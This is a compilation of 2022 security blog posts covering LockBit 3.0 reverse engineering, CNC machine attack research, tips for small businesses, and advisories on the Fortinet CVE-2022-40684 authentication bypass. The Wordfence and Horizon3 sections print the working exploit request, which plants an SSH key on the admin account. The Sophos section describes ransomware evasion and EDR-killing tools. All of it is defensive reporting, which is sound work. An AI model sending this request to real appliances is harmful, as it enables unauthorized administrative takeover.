LockBit 3.0 ‘Black’ attacks and leaks reveal wormable capabilities and tooling

Reverse-engineering reveals close similarities to BlackMatter ransomware, with some improvements

A postmortem analysis of multiple incidents in which attackers eventually launched the latest version of LockBit ransomware (known variously as LockBit 3.0 or ‘LockBit Black’), revealed the tooling used by at least one affiliate. Sophos’ Managed Detection and Response (MDR) team has observed both ransomware affiliates and legitimate penetration testers use the same collection of tooling over the past 3 months.

Leaked data about LockBit that showed the backend controls for the ransomware also seems to indicate that the creators have begun experimenting with the use of scripting that would allow the malware to “self-spread” using Windows Group Policy Objects (GPO) or the tool PSExec, potentially making it easier for the malware to laterally move and infect computers without the need for affiliates to know how to take advantage of these features for themselves, potentially speeding up the time it takes them to deploy the ransomware and encrypt targets.

A reverse-engineering analysis of the LockBit functionality shows that the ransomware has carried over most of its functionality from LockBit 2.0 and adopted new behaviors that make it more difficult to analyze by researchers. For instance, in some cases it now requires the affiliate to use a 32-character ‘password’ in the command line of the ransomware binary when launched, or else it won’t run, though not all the samples we looked at required the password.

We also observed that the ransomware runs with LocalServiceNetworkRestricted permissions, so it does not need full Administrator-level access to do its damage (supporting observations of the malware made by other researchers).

Most notably, we’ve observed (along with other researchers) that many LockBit 3.0 features and subroutines appear to have been lifted directly from BlackMatter ransomware.

Is LockBit 3.0 just ‘improved’ BlackMatter?

Other researchers previously noted that LockBit 3.0 appears to have adopted (or heavily borrowed) several concepts and techniques from the BlackMatter ransomware family.

We dug into this ourselves, and found a number of similarities which strongly suggest that LockBit 3.0 reuses code from BlackMatter.

Anti-debugging trick

Blackmatter and Lockbit 3.0 use a specific trick to conceal their internal functions calls from researchers. In both cases, the ransomware loads/resolves a Windows DLL from its hash tables, which are based on ROT13.

It will try to get pointers from the functions it needs by searching the PEB (Process Environment Block) of the module. It will then look for a specific binary data marker in the code (0xABABABAB) at the end of the heap; if it finds this marker, it means someone is debugging the code, and it doesn’t save the pointer, so the ransomware quits.

After these checks, it will create a special stub for each API it requires. There are five different types of stubs that can be created (randomly). Each stub is a small piece of shellcode that performs API hash resolution on the fly and jumps to the API address in memory. This adds some difficulties while reversing using a debugger.

Screenshot of disassembler code
LockBit’s 0xABABABAB marker

SophosLabs has put together a CyberChef recipe for decoding these stub shellcode snippets.

Output of a CyberChef recipe
The first stub, as an example (decoded with CyberChef)

Obfuscation of strings

Many strings in both LockBit 3.0 and BlackMatter are obfuscated, resolved during runtime by pushing the obfuscated strings on to the stack and decrypting with an XOR function. In both LockBit and BlackMatter, the code to achieve this is very similar.

Screenshot of disassembler code
BlackMatter’s string obfuscation (image credit: Chuong Dong)

Georgia Tech student Chuong Dong analyzed BlackMatter and showed this feature on his blog, with the screenshot above.

Screenshot of disassembler code
LockBit’s string obfuscation, in comparison

By comparison, LockBit 3.0 has adopted a string obfuscation method that looks and works in a very similar fashion to BlackMatter’s function.

API resolution

LockBit uses exactly the same implementation as BlackMatter to resolve API calls, with one exception: LockBit adds an extra step in an attempt to conceal the function from debuggers.

Screenshot of disassembler code
BlackMatter’s dynamic API resolution (image credit: Chuong Dong)

The array of calls performs precisely the same function in LockBit 3.0.

Screenshot of disassembler code
LockBit’s dynamic API resolution

Hiding threads

Both LockBit and BlackMatter hide threads using the NtSetInformationThread function, with the parameter ThreadHideFromDebugger. As you probably can guess, this means that the debugger doesn’t receive events related to this thread.

Screenshot of disassembler code
LockBit employs the same ThreadHideFromDebugger feature as an evasion technique

Printing

LockBit, like BlackMatter, sends ransom notes to available printers.

Screenshot of disassembler code
LockBit can send its ransom notes directly to printers, as BlackMatter can do

Deletion of shadow copies

Both ransomware will sabotage the infected computer’s ability to recover from file encryption by deleting the Volume Shadow Copy files.

LockBit calls the IWbemLocator::ConnectServer method to connect with the local ROOT\CIMV2 namespace and obtain the pointer to an IWbemServices object that eventually calls IWbemServices::ExecQuery to execute the WQL query.

Screenshot of disassembler code
BlackMatter code for deleting shadow copies (image credit: Chuong Dong)

LockBit’s method of doing this is identical to BlackMatter’s implementation, except that it adds a bit of string obfuscation to the subroutine.

Screenshot of disassembler code
LockBit’s deletion of shadow copies

Enumerating DNS hostnames

Both LockBit and BlackMatter enumerate hostnames on the network by calling NetShareEnum.

Screenshot of disassembler code
BlackMatter calls NetShareEnum() to enumerate hostnames… (image credit: Chuong Dong)

In the source code for LockBit, the function looks like it has been copied, verbatim, from BlackMatter.

Screenshot of disassembler code
…as does LockBit

Determining the operating system version

Both ransomware strains use identical code to check the OS version – even using the same return codes (although this is a natural choice, since the return codes are hexadecimal representations of the version number).

Screenshot of disassembler code
BlackMatter’s code for checking the OS version (image credit: Chuong Dong)
Screenshot of disassembler code
LockBit’s OS enumeration routine

Configuration

Both ransomware contain embedded configuration data inside their binary executables. We noted that LockBit decodes its config in a similar way to BlackMatter, albeit with some small differences.

For instance, BlackMatter saves its configuration in the .rsrc section, whereas LockBit stores it in .pdata

Screenshot of disassembler code
BlackMatter’s config decryption routine (image credit: Chuong Dong)

And LockBit uses a different linear congruential generator (LCG) algorithm for decoding.

Screenshot of disassembler code
LockBit’s config decryption routine

Some researchers have speculated that the close relationship between the LockBit and BlackMatter code indicates that one or more of BlackMatter’s coders were recruited by LockBit; that LockBit bought the BlackMatter codebase; or a collaboration between developers. As we noted in our white paper on multiple attackers earlier this year, it’s not uncommon for ransomware groups to interact, either inadvertently or deliberately.

Either way, these findings are further evidence that the ransomware ecosystem is complex, and fluid. Groups reuse, borrow, or steal each other’s ideas, code, and tactics as it suits them. And, as the LockBit 3.0 leak site (containing, among other things, a bug bounty and a reward for “brilliant ideas”) suggests, that gang in particular is not averse to paying for innovation.

LockBit tooling mimics what legitimate pentesters would use

Another aspect of the way LockBit 3.0’s affiliates are deploying the ransomware shows that they’re becoming very difficult to distinguish from the work of a legitimate penetration tester – aside from the fact that legitimate penetration testers, of course, have been contracted by the targeted company beforehand, and are legally allowed to perform the pentest.

The tooling we observed the attackers using included a package from GitHub called Backstab. The primary function of Backstab is, as the name implies, to sabotage the tooling that analysts in security operations centers use to monitor for suspicious activity in real time. The utility uses Microsoft’s own Process Explorer driver (signed by Microsoft) to terminate protected anti-malware processes and disable EDR utilities. Both Sophos and other researchers have observed LockBit attackers using Cobalt Strike, which has become a nearly ubiquitous attack tool among ransomware threat actors, and directly manipulating Windows Defender to evade detection.

Further complicating the parentage of LockBit 3.0 is the fact that we also encountered attackers using a password-locked variant of the ransomware, called lbb_pass.exe , which has also been used by attackers that deploy REvil ransomware. This may suggest that there are threat actors affiliated with both groups, or that threat actors not affiliated with LockBit have taken advantage of the leaked LockBit 3.0 builder. At least one group, BlooDy, has reportedly used the builder, and if history is anything to go by, more may follow suit.

LockBit 3.0 attackers also used a number of publicly-available tools and utilities that are now commonplace among ransomware threat actors, including the anti-hooking utility GMER, a tool called AV Remover published by antimalware company ESET, and a number of PowerShell scripts designed to remove Sophos products from computers where Tamper Protection has either never been enabled, or has been disabled by the attackers after they obtained the credentials to the organization’s management console.

We also saw evidence the attackers used a tool called Netscan to probe the target’s network, and of course, the ubiquitous password-sniffer Mimikatz.

Incident response makes no distinction

Because these utilities are in widespread use, MDR and Rapid Response treats them all equally – as though an attack is underway – and immediately alerts the targets when they’re detected.

We found the attackers took advantage of less-than-ideal security measures in place on the targeted networks. As we mentioned in our Active Adversaries Report on multiple ransomware attackers, the lack of multifactor authentication (MFA) on critical internal logins (such as management consoles) permits an intruder to use tooling that can sniff or keystroke-capture administrators’ passwords and then gain access to that management console.

It’s safe to assume that experienced threat actors are at least as familiar with Sophos Central and other console tools as the legitimate users of those consoles, and they know exactly where to go to weaken or disable the endpoint protection software. In fact, in at least one incident involving a LockBit threat actor, we observed them downloading files which, from their names, appeared to be intended to remove Sophos protection: sophoscentralremoval-master.zip and sophos-removal-tool-master.zip. So protecting those admin logins is among the most critically important steps admins can take to defend their networks.

For a list of IOCs associated with LockBit 3.0, please see our GitHub.

Acknowledgments

Sophos X-Ops acknowledges the collaboration of Colin Cowie, Gabor Szappanos, Alex Vermaning, and Steeve Gaudreault in producing this report.

Source :
https://news.sophos.com/en-us/2022/11/30/lockbit-3-0-black-attacks-and-leaks-reveal-wormable-capabilities-and-tooling/

Industry 4.0: CNC Machine Security Risks Part 3

In this final installation of our three-part blog series, we lay out countermeasures that enterprises can do to protect their machines. We’ll also discuss our responsible disclosure as well as the feedback we got from the vendors we evaluated.

Countermeasures

We found that only two of the four vendors analyzed support authentication. Neither of them has authentication enabled by default, which leaves the machines vulnerable to attacks by malicious users. Enabling authentication is essential for protecting Industry 4.0 features from abuse.

Resource access control systems are important for reducing the impact of attacks. Many technologies allow access to all a controller’s resources, which can be dangerous. A correct approach is to adopt resource access control systems that grant limited access. This will help to ensure that only authorized users have access to the controller’s resources and that these resources are protected from unauthorized access.

When it comes to integrators and end users, we suggest these countermeasures:

  • Context-aware industrial intrusion prevention and detection systems (IPS/IDSs): These devices, which have recently seen a surge in popularity in the catalogues of security vendors, are equipped with network engines that can capture real-time traffic associated with industrial protocols to detect attacks.
  • Network segmentation: Correct network architecting is of great importance. As our research has revealed, all the tested machines expose interfaces that could be abused by miscreants.
  • Correct patching: Modern CNC machines are equipped with full-fledged operating systems and complex software, which might inevitably contain security vulnerabilities. This was indeed the case with the machines that we tested.

Responsible Disclosure

We contacted the affected vendors while tackling controllers sequentially, with our first contact in November 2021 and the last one in March 2022. The Industrial Control Systems Cyber Emergency Response Team (ICS CERT) at Cybersecurity & Infrastructure Security Agency extended invaluable help during the discussion which we are grateful for.

disclosure-process
Table 1. A summary of our responsible disclosure process

As of this writing, all four vendors have replied to our concerns and most of them have addressed, to varying degrees, our findings in a reasonable time frame. More importantly, all of them have expressed interest in our research and have decided to improve either their documentation or their communication efforts with their machine manufacturers, with the final effort of offering end users more secure solutions.

To learn more about the security risks faced by CNC machines, download our comprehensive report here.

Source :
https://www.trendmicro.com/en_us/research/22/l/cnc-machine-security-risks-part-3.html

Industry 4.0: CNC Machine Security Risks Part 2

In part one, we discussed what numerical control machines do and their basic concepts. These concepts are important to understand the machines better, offering a wider view of their operations. We also laid out how we evaluated the chosen vendors for our research.

For this blog, we will continue discussing our evaluated vendors and highlighting findings that we discovered during our research.

Haas

haas-simulator
Figure 1. The Haas simulator we used for preliminary testing (left) and the Haas CNC machine (Super Mini Mill 2) by Celada we used for verification (right)

Haas was the first vendor we focused on because of the fast availability of its controller. We began our analysis by conducting port scanning on the controller simulator and identifying the protocols exposed by the controller. After that, we evaluated the options with which an attacker could abuse the protocols to perform attacks aimed at the security of the machine and verified these attacks in practice on a real-world machine installation.

Okuma

okuma-simulator
Figure 2. The Okuma simulator we used for the development of the malicious application and during the initial testing

Okuma stands out in the market of CNC controllers for one interesting feature: the modularity of its controller. While the vendor offers in the device’s simplest form a tiny controller, it also provides a mechanism, called THINC API, to highly customize the functionalities of the controller. With this technology, any developer can implement a program that, once installed, runs in the context of the controller, in the form of an extension. This approach is very similar to how a mobile application, once installed, can extend a smartphone’s functionalities.

Heidenhain

the-hardford-5a-65e-machine
Figure 3. The Hartford 5A-65E machine, running on a Heidenhain TNC 640 controller, that we used in our experiments at Celada

In the spirit of the Industry 4.0 paradigm, Heidenhain offers the Heidenhain DNC interface to integrate machines on modern, digital shop floors. Among the many scenarios, Heidenhain DNC enables the automatic exchange of data with machine and production data acquisition (MDA/PDA) systems, higher level enterprise resource planning (ERP) and manufacturing execution systems (MESs), inventory management systems, computer-aided design and manufacturing (CAD/CAM) systems, production activity control systems, simulation tools, and tool management systems

In our evaluation, we had access to the library provided by Heidenhain to the integrators to develop interfaces for the controller. The manufacturer provides this library, called RemoTools SDK,35 to selected partners only.

Fanuc

the-yasuda-ymc
Figure 4. The Yasuda YMC 430 + RT10 machine, running on a Fanuc controller, that we used in our experiments at the Polytechnic University of Milan

Like Heidenhain, Fanuc offers an interface, called FOCAS,36 for the integration of CNC machines in smart network environments. Even though this technology offers a restricted set of remote-call possibilities compared with the other vendors’ (that is, a limited number of management features), our experiments showed that a miscreant could potentially conduct attacks like damage, DoS, and hijacking.

What we found

As our evaluation identified 18 different attacks (or variations), we grouped them into five classes: compromise, damage, and denial of service (DoS):

summary-of-the-attack
Table 1. A summary of the attacks we identified in our research

Controller manufacturers like Haas, Okuma, and Heidenhain have been found to have a similar number of issues, around 15. Fanuc had 10 confirmed attacks. Unfortunately, our research shows that this domain lacks awareness concerning security and privacy. This creates serious and compelling problems.

The need for automation-facing features like remote configuration of tool geometry or parametric programming with values determined by networked resources is becoming more common in manufacturing.

With these findings, we determined countermeasures that enterprises can do to mitigate such risks, which we’ll discuss in our final installation. In the last part, we’ll also discuss our responsible disclosure process.

Source :
https://www.trendmicro.com/en_us/research/22/l/cnc-machine-security-risks-part-2.html

Industry 4.0: CNC Machine Security Risks Part 1

Computer numerical controls (CNCs) are machines used to produce products in a factory setting. They have been in use for many years, and in the last decade, their use has become more widespread due to increased connectivity. This increased connectivity has made them more software-dependent and therefore more vulnerable to attacks. This vulnerability is due to the heterogeneity of technologies used in factories and the lack of awareness among users of how to best secure these systems.

This three-part blog series explores the risks associated with CNC machines. We performed a security evaluation on four representative vendors and analyzed technological developments that satisfy the Industry 4 .0 paradigm while conducting practical attacks against real-world installations.

For our research, we picked vendors that are:

  • Are geographically distributed (that is, with headquarters and subsidiaries spread across the world) and resell on a global scale.
  • Have been on the market for decades.
  • Have a large, estimated size, for example, with a total annual revenue of at least a billion US dollars.
  • Use technologies widely adopted in the domain and present in different manufacturing sectors.

Understanding numerical control machines

A machine tool is a device that uses cutting tools to remove material from a workpiece. This process, called machining, results in the desired geometry of the workpiece. Machining is a subtractive process, meaning that the material is removed from the original geometry to create the desired shape.

Numerical control (NC) is a technology that allows machines to be controlled by computers. This technology has revolutionized machine tools, making them more accurate and allowing for greater flexibility in their use. NC machine tools are now widely used in production systems and can be used on other types of machines, such as lasers and bending machines.

Basic concepts

To facilitate the understanding of what we discovered in our research, we introduce some basic concepts related to the use of machine tools:

parts-of-a-cnc-machine
Figure 1. Parts of a CNC machine
  • Numerical control. The NC is the most critical element of the machine, as it controls the entire process. This system includes visual programming functions to speed up the setup of production cycles. Additionally, the NC is always equipped with a human-machine interface (HMI) to facilitate operator interaction with control.
  • Programming. Initially developed in the 1950s, G-code (aka RS-274) is the predominant programming language in the world of machine tools. It is presented as a series of instructions initialized by a letter address, which follow one another on successive lines separated by paragraph breaks; each of these lines is called a “block.” Each letter address specifies the type of movement or function called by the user in that part of the program.
  • Parametric programming. Parametric programming is a way to make programs that are adjustable to different values. This is done by using variables that the user can input, and then the program will change based on those values. This is used in machine tools to help with things like feedback and closed-loop controls between production systems.
  • Single step. This allows for running the work program one line of code at a time. In this way, the operator can check the correspondence of executed code to the best possible working conditions and determine if intervention by modification is necessary.
  • Feed hold. The “feed hold” function is mainly used to check the correct execution of complex features by inspecting the work area before proceeding with further steps in the process. In fact, chips coming from the removal of the material being processed could be deposited in work areas or on measuring probes, potentially invalidating the measurements, or inducing defects downstream of the machining if they are not removed.
  • Tools. The machining process is a manufacturing technique that uses an element called a tool to remove excess material from a raw piece. The tool cutting is made possible by the relative speed between the manufacturing part and the cutting tool edge, also known as the cutting speed or surface speed. In addition to this parameter, the feed rate (speed of tool moving along workpiece) also affects chip removal process. Many types of tools are available depending on the type of processing needed.

Evaluating vendors

For all vendors that we included in our research scope, we conducted an equal evaluation of their machines:

  • The “Industry 4.0–ready” technologies are interfaces and related protocols used by machines in smart environments to transmit information outwards, towards centralized systems like production data for better management or cost reduction; they also enable remote management such that an operator can change the executed program without needing local access.
  • We identified potential vulnerabilities in the exposed services using automated scanners like Nessus. These included known or misconfigurations that could pose as dangerous, which we ignored to focus on domain-specific abuse cases for CNC interfaces instead.
  • We then went deep into the CNC-specific technologies previously identified, by analyzing the risks of abuses and conducting practical attacks on the controllers. For this, we developed attack tools that exploited the weaknesses we identified in the domain-specific interfaces with the aid of proprietary APIs we got access to.
  • We collected evidence of our concerns and collaborated with vendors to suggest mitigations. All evidence came from tests we conducted on real-world installations, but we also used simulators for preliminary testing or when the machines were not immediately available.

Now that we have established a better understanding of numerical control machines and their basic concepts, we will further explore the vendors we chose for this research in part two of the series. There, we’ll discuss how we evaluated vendors and what we discovered during our research.

Source :
https://www.trendmicro.com/en_us/research/22/k/cnc-machine-security-risks-part-1.html

7 Cyber Security Tips for SMBs

When the headlines focus on breaches of large enterprises like the Optus breach, it’s easy for smaller businesses to think they’re not a target for hackers. Surely, they’re not worth the time or effort?

Unfortunately, when it comes to cyber security, size doesn’t matter.

Assuming you’re not a target leads to lax security practices in many SMBs who lack the knowledge or expertise to put simple security steps in place. Few small businesses prioritise cybersecurity, and hackers know it. According to Verizon, the number of smaller businesses being hit has climbed steadily in the last few years – 46% of cyber breaches in 2021 impacted businesses with fewer than 1,000 employees.

Cyber security doesn’t need to be difficult#

Securing any business doesn’t need to be complex or come with a hefty price tag. Here are seven simple tips to help the smaller business secure their systems, people and data.

1 — Install anti-virus software everywhere#

Every organisation has anti-virus on their systems and devices, right? Unfortunately, business systems such as web servers get overlooked all too often. It’s important for SMBs to consider all entry points into their network and have anti-virus deployed on every server, as well as on employees’ personal devices.

Hackers will find weak entry points to install malware, and anti-virus software can serve as a good last-resort backstop, but it’s not a silver bullet. Through continuous monitoring and penetration testing you can identify weaknesses and vulnerabilities before hackers do, because it’s easier to stop a burglar at the front door than once they’re in your home.

2 — Continuously monitor your perimeter#

Your perimeter is exposed to remote attacks because it’s available 24/7. Hackers constantly scan the internet looking for weaknesses, so you should scan your own perimeter too. The longer a vulnerability goes unfixed, the more likely an attack is to occur. With tools like Autosploit and Shodan readily available, it’s easier than ever for attackers to discover internet facing weaknesses and exploit them.

Even organisations that cannot afford a full-time, in-house security specialist can use online services like Intruder to run vulnerability scans to uncover weaknesses.

Intruder is a powerful vulnerability scanner that provides a continuous security review of your systems. With over 11,000 security checks, Intruder makes enterprise-grade scanning easy and accessible to SMBs.

Intruder will promptly identify high-impact flaws, changes in the attack surface, and rapidly scan your infrastructure for emerging threats.

3 — Minimise your attack surface#

Your attack surface is made up of all the systems and services exposed to the internet. The larger the attack surface, the bigger the risk. This means exposed services like Microsoft Exchange for email, or content management systems like WordPress can be vulnerable to brute-forcing or credential-stuffing, and new vulnerabilities are discovered almost daily in such software systems. By removing public access to sensitive systems and interfaces which don’t need to be accessible to the public, and ensuring 2FA is enabled where they do, you can limit your exposure and greatly reduce risk.

A simple first step in reducing your attack surface is by using a secure virtual private network (VPN). By using a VPN, you can avoid exposing sensitive systems directly to the internet whilst maintaining their availability to employees working remotely. When it comes to risk, prevention is better than cure – don’t expose anything to the internet unless it’s absolutely necessary!

4 — Keep software up to date#

New vulnerabilities are discovered daily in all kinds of software, from web browsers to business applications. Just one unpatched weakness could lead to full compromise of a system and a breach of customer data; as TalkTalk discovered when 150,000 of its private data records were stolen.

According to a Cyber Security Breaches Survey, businesses that hold electronic personal data of their customers are more likely than average to have had breaches. Patch management is an essential component of good cyber hygiene, and there are tools and services to help you check your software for any missing security patches.

5 — Back up your data #

Ransomware is on the increase. In 2021, 37% of businesses and organisations were hit by ransomware according to research by Sophos. Ransomware encrypts any data it can access, rendering it unusable, and can’t be reversed without a key to decrypt the data.

Data loss is a key risk to any business either through malicious intent or a technical mishap such as hard disk failure, so backing up data is always recommended. If you back up your data, you can counter attackers by recovering your data without needing to pay the ransom, as systems affected by ransomware can be wiped and restored from an unaffected backup without the attacker’s key.

6 — Keep your staff security aware#

Cyber attackers often rely on human error, so it’s vital that staff are trained in cyber hygiene so they recognise risks and respond appropriately. The Cyber Security Breaches Survey 2022 revealed that the most common types of breaches were staff receiving fraudulent emails or phishing attacks (73%), followed by people impersonating the organisation in emails or online (27%), viruses, spyware and malware (12%), and ransomware (4%).

Increasing awareness of the benefits of using complex passwords and training staff to spot common attacks such as phishing emails and malicious links, will ensure your people are a strength rather than a vulnerability.

— Protect yourself relative to your risk#

Cyber security measures should always be appropriate to the organisation. For example, a small business which handles banking transactions or has access to sensitive information such as healthcare data should employ far more stringent security processes and practices than a pet shop.

That’s not to say a pet shop doesn’t have a duty to protect customer data, but it’s less likely to be a target. Hackers are motivated by money, so the bigger the prize the more time and effort will be invested to achieve their gains. By identifying your threats and vulnerabilities with a tool like Intruder, you can take appropriate steps to mitigate and prioritize which risks need to be addressed and in which order.

It’s time to raise your cyber security game#

Attacks on large companies dominate the news, which feeds the perception that SMBs are safe, when the opposite is true. Attacks are increasingly automated, so SMBs are just as vulnerable targets as larger enterprises, more so if they don’t have adequate security processes in place. And hackers will always follow the path of least resistance. Fortunately, that’s the part Intruder made easy…

About Intruder#

Intruder is a cyber security company that helps organisations reduce their attack surface by providing continuous vulnerability scanning and penetration testing services. Intruder’s powerful scanner is designed to promptly identify high-impact flaws, changes in the attack surface, and rapidly scan the infrastructure for emerging threats. Running thousands of checks, which include identifying misconfigurations, missing patches, and web layer issues, Intruder makes enterprise-grade vulnerability scanning easy and accessible to everyone. Intruder’s high-quality reports are perfect to pass on to prospective customers or comply with security regulations, such as ISO 27001 and SOC 2.

Intruder offers a 14-day free trial of its vulnerability assessment platform. Visit their website today to take it for a spin!

Found this article interesting? Follow us on Twitter  and LinkedIn to read more exclusive content we post.

Source :
https://thehackernews.com/2022/11/7-cyber-security-tips-for-smbs.html

Threat Advisory: CVE-2022-40684 Fortinet Appliance Auth bypass

This morning, the Wordfence Threat Intelligence team began tracking exploit attempts targeting CVE-2022-40684 on our network of over 4 million protected websites. CVE-2022-40684 is a critical authentication bypass vulnerability in the administrative interface of Fortinet’s FortiGate firewalls, FortiProxy web proxies, and FortiSwitch Manager, and is being actively exploited in the wild¹,².

At the time of publishing, we have recorded several exploit attempts and requests originating from the following IP addresses:

  • 206.189.231.41
  • 172.105.131.156
  • 45.79.174.33
  • 143.110.215.248
  • 159.180.168.61
  • 194.195.241.147
  • 45.79.174.9
  • 45.79.174.160
  • 134.122.38.186
  • 104.244.77.122
  • 45.79.174.212
  • 2.58.82.81
  • 194.163.135.129
  • 173.212.205.42
  • 172.104.6.178
  • 38.242.217.243
  • 194.135.83.48
  • 134.122.44.177
  • 207.180.241.85
  • 75.128.217.136
  • 107.189.4.80

Most of the requests we have observed are GET requests presumably trying to determine whether a Fortinet appliance is in place:

GET /api/v2/cmdb/system/admin/admin HTTP/1.1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
X-Forwarded-Proto: https
X-Forwarded-Ssl: on
X-Forwarded-For: 75.128.217.136
Host: <redacted>
Content-Type: application/x-www-form-urlencoded

However, we also found that a number of these IPs are also sending out PUT requests matching the recently released proof of concept, referenced at the end of this advisory, which attempts to update the public SSH key of the admin user:

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
X-Forwarded-For: 172.104.6.178
Accept-Encoding: gzip
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Connection: close
User-Agent: Report Runner
Host: <redacted>
Content-Type: application/json
Content-Length: 610


{
"Ssh-public-key1":"\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\""
}

While some requests are using a fake public key, which may indicate a benign vulnerability scanner, all of the requests using a valid public key are using the same public key, indicating that these requests are all the work of the same actor. An attacker able to update or add a valid public SSH key to a user’s account on a system can then typically gain access to that system as that user if they have the corresponding private key. In this case the attacker is attempting to add their own public key to the admin user’s account.

The SSH key has the following fingerprint: SHA256:GBl4Pytt+W2yEZ3zlOkAZkgtqmTPBcEZlqK4hoNOqBU dev@devs-MacBook-Pro.local (RSA)

All of the PUT exploit attempts we have seen are using the “Report Runner” User-Agent as this is a requirement of the exploit, though the exploit may also be viable with the User-Agent set to “Node.js”.

New IP Addresses attacking CVE-2022-40684 will appear on the Wordfence Intelligence IP Threat Feed in the “auth_bypass” category as the feed is updated every 60 minutes.

1. Fortinet released an advisory with additional information, including affected products and workarounds for users unable to patch.
2. Horizon3.ai initially discovered that the vulnerability was being exploited in the wild and released a proof of concept earlier today.

Source :
https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass Technical Deep Dive (CVE-2022-40684)

Introduction

Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system. To demonstrate the vulnerability in this writeup, we will be using FortiOS version 7.2.1

POC

Let’s examine the inner workings of this vulnerability. You can find our POC here. The vulnerability is used below to add an SSH key to the admin user, enabling an attacker to SSH into the effected system as admin.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by=”[127.0.0.1]:9000″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\”” }

Deep Dive

FortiOS exposes a management web portal that allows a user configure the system. Additionally, a user can SSH into the system which exposes a locked down CLI interface. Our first step after familiarizing ourselves with the system was to diff the vulnerable firmware with the patched firmware.

Firmware Examination

We obtained a VMware zip file of the firmware which contained two vmdk files. First, we examined the vmdk files with virt-filesystems and mounted them with guestmount:

$>ls *.vmdk
datadrive.vmdk fortios.vmdk
$>sudo virt-filesystems --filesystems -a fortios.vmdk 
/dev/sda1
$>sudo mkdir fortios_mount
$>sudo guestmount -a fortios.vmdk -m /dev/sda1 --ro fortios_mount
$>cd fortios_mount
$>ls
boot.msg datafs.tar.gz extlinux.conf filechecksum flatkc flatkc.chk ldlinux.c32 ldlinux.sys lost+found rootfs.gz rootfs.gz.chk

Next, we extract the root filesystem where we find a hand full of .tar.xz files:

$>sudo cp ../fortios_mount/rootfs.gz .
$>gunzip rootfs.gz 
$>cpio -i 2> /dev/null < rootfs 
$>ls
bin.tar.xz bin.tar.xz.chk boot data data2 dev etc fortidev init lib lib64 migadmin.tar.xz node-scripts.tar.xz proc rootfs sbin sys tmp usr usr.tar.xz usr.tar.xz.chk var

Interestingly, attempting to decompress the xz files fail with corruption errors:

$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt

Its unclear if this is an attempt at obfuscation, but we find a version of xz in the sbin folder of the firmware. We can’t run it as is, but we can patch its linker to point to our system linker to finally decompress the files:

$>xz --decompress *.xz
xz: bin.tar.xz: Compressed data is corrupt
xz: migadmin.tar.xz: Compressed data is corrupt
xz: node-scripts.tar.xz: Compressed data is corrupt
xz: usr.tar.xz: Compressed data is corrupt
$>find . -name xz
./sbin/xz
$>./sbin/xz --decompress *.xz
bash: ./sbin/xz: No such file or directory
$>file ./sbin/xz
./sbin/xz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eef5d20a9f8760df951ed122a5faf4de86a7128a, for GNU/Linux 3.2.0, stripped
$>patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 sbin/xz
$>./sbin/xz --decompress *.xz
$>ls *.tar
bin.tar migadmin.tar node-scripts.tar usr.tar

Next, we untar the files and begin examining their contents. We find /bin contains a large collection of binaries, many of which are symlinks to /bin/init. The migadmin folder appears to contain the frontend web code for the administrative interface. The node-scripts folder appears to contain a NodeJs backend for the administrative interface. Lastly, the usr folder contains a libaries folder and an apache2 configuration folder.

The Patch

We apply the same steps to firmware version 7.2.2 to enable diffing of the filesystems. In the bin folder, we find the large init binary has changed and in the node-scripts folder we find the index.js file has changed:

index.js diff

